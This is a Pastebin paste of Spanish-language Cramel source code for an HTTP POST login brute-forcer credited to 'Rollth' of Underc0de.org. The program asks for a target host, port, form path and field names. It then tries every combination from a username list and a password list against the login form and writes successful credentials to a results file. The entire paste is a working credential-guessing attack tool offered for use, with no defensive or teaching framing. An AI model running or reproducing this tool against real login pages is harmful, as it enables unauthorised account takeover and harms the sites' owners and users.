Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ' HTTP BruteForcer Post Method
- ' Coder: Rollth
- ' Underc0de.org
- ' hackingd0.blogspot.com.es
- ' whateversec.blogspot.com.es
- ' Llamada de librerias
- Importar "Cramel.cml"
- Importar "Archivo.cml"
- Importar "Consola.cml"
- Importar "Sockets\Sockets.cml"
- ' Procedimiento que calcula el tiempo
- Proc calcularTiempo(tiempo:Entero):Cadena
- ' Variables para contar el tiempo
- Var dias, horas, minutos, segundos:Entero
- tiempo = tiempo/1000
- dias = tiempo/86400
- horas = (tiempo - (dias*86400))/3600
- minutos = (tiempo - (dias*86400) - (horas*3600))/60
- segundos = (tiempo - (dias*86400) - (horas*3600) - (minutos*60))
- Resultado = EntCad(dias) + " dias - " + EntCad(horas) + " horas - " + EntCad(minutos) + " minutos - " + EntCad(segundos) + " segundos\x13\x10"
- FinProc
- ' Declaracion de socket
- Var hSocket:Entero
- TCPIniciar()
- ' Declaracion de variables
- Var archivo1:FILE
- Var archivo2:FILE
- Var archivo3:FILE
- Var puerto, acierto, intentos, ContentLength, valorBusqueda, cantidad, z:Entero
- Var host, mensajeAcierto, form, user, pass, user1, pass1, men, men2, ContentLength2, puerto2, aciertoC, otros[], otros1[], cantidad2:Cadena
- Var Consola:ConsolaEstructura
- acierto = 0
- intentos = 0
- z = 0
- comprobarAdmin()
- Consola = initConsole()
- Consola.establecerTitulo("HTTP BruteForce By Rollth")
- Consola.establecerColor(2)
- ' Simple decoracion
- Consola.escribirLinea("###############################")
- Consola.escribirLinea("#HTTP BruteForcer Post Method #")
- Consola.escribirLinea("#Coder: Rollth #")
- Consola.escribirLinea("#Underc0de.org #")
- Consola.escribirLinea("#hackingd0.blogspot.com.es #")
- Consola.escribirLinea("#whateversec.blogspot.com.es #")
- Consola.escribirLinea("###############################" + LF)
- ' Introduccion de variables
- Consola.escribir("Host o IP: ")
- Consola.leer(host)
- Consola.escribir("Puerto a atacar(80 si es HTTP o 443 si es HTTPS): ")
- Consola.leer(puerto2)
- puerto = CadEnt(puerto2)
- Consola.escribir("Nombre de la variable de user: ")
- Consola.leer(user)
- Consola.escribir("Nombre de la variable de password: ")
- Consola.leer(pass)
- Consola.escribir("Direccion del form: ")
- Consola.leer(form)
- Consola.escribir("Mensaje de acierto al logearse: ")
- Consola.leer(mensajeAcierto)
- ' Otros parametros
- Consola.escribir("Numero de parametros adicionales: ")
- Consola.leer(cantidad2)
- cantidad = CadEnt(cantidad2)
- Redim otros, cantidad
- Redim otros1, cantidad
- Si cantidad > 0 Entonces
- Contar z a cantidad - 1 Paso 1
- Consola.escribir("Nombre de parametro adicional " + EntCad(z + 1) + ": ")
- Consola.leer(otros[z])
- Consola.escribir("Valor de parametro adicional " + EntCad(z + 1) + ": ")
- Consola.leer(otros1[z])
- Seguir
- FinSi
- TiempoInicio
- ' Dos bucles para comprobar cada usuario con cada password
- archivo1 = abrirArchivoF("passwords.txt", "r")
- archivo3 = abrirArchivoC("salida.txt", FILE_APPEND_DATA, OPEN_ALWAYS)
- escribirArchivoW(archivo3, "Resultados de: " + host + "\x13\x10")
- Repetir
- leerArchivoF(archivo1, pass1)
- archivo2 = abrirArchivoF("usuarios.txt", "r")
- Repetir
- hSocket = TCPConectar(host, puerto)
- leerArchivoF(archivo2, user1)
- ' Limpia variables
- men = "\x00"
- men2 = "\x00"
- ContentLength2 = "\x00"
- ' Calcula el ContentLength y prepara el mensaje
- ContentLength = CadLong(user) + CadLong (pass) + CadLong(user1) + CadLong (pass1) + 3
- ContentLength2 = EntCad(ContentLength)
- men = "POST " + form + " HTTP /1.1\x13\x10" + "Host: " + host + "\x13\x10Content-type: application/x-www-form-urlencoded\x13\x10" + "Content-Length: " + ContentLength2 + "\x13\x10\x13\x10" + user + "=" + user1 + "&" + pass + "=" + pass1
- ' Suma los parametros adicionales
- z = 0
- Si cantidad > 0 Entonces
- Contar z a cantidad - 1 Paso 1
- men = men + "&" + otros[z] + "=" + otros1[z]
- Seguir
- FinSI
- men = men + "\x13\x10"
- ' Envia y recibe datos
- TCPEnviar(hSocket, men)
- men2 = TCPRecibir(hSocket, 1000)
- ' Comprueba si los datos son correctos
- Mensaje(men + "\x13\x10" + men2)
- Si Buscar(men2, mensajeAcierto) > 0 Entonces
- aciertoC = "El usuario es: " + user1 + " -- El password es: " + pass1 + "\x13\x10"
- Consola.escribir(aciertoC)
- escribirArchivoW(archivo3, aciertoC)
- acierto = acierto + 1
- FinSi
- intentos = intentos + 1
- Consola.escribir("Numero de intentos: " + EntCad(intentos) + "\x13")
- TCPDesconectar(hSocket)
- MientrasQue feof(archivo2.ptr) = 0
- cerrarW(archivo2)
- MientrasQue feof(archivo1.ptr) = 0
- ' Comprueba numero de passwords encontradas
- Si acierto = 0 Entonces
- Consola.escribir("Password no encontrada")
- escribirArchivoW(archivo3, "Password no encontrada")
- FinSi
- Si acierto > 0 Entonces
- Consola.escribir("Numero de passwords encontradas: " + EntCad(acierto) + "\x10Tiempo: " + calcularTiempo(TiempoFin))
- escribirArchivoW(archivo3, "Numero de passwords encontradas: " + EntCad(acierto) + "\x13\x10Tiempo: " + calcularTiempo(TiempoFin) + "\x13\x10")
- FinSi
- ' Final del programa
- cerrarW(archivo1)
- cerrarW(archivo3)
- TCPDetener
- Consola.pausar()
Add Comment
Please, Sign In to add comment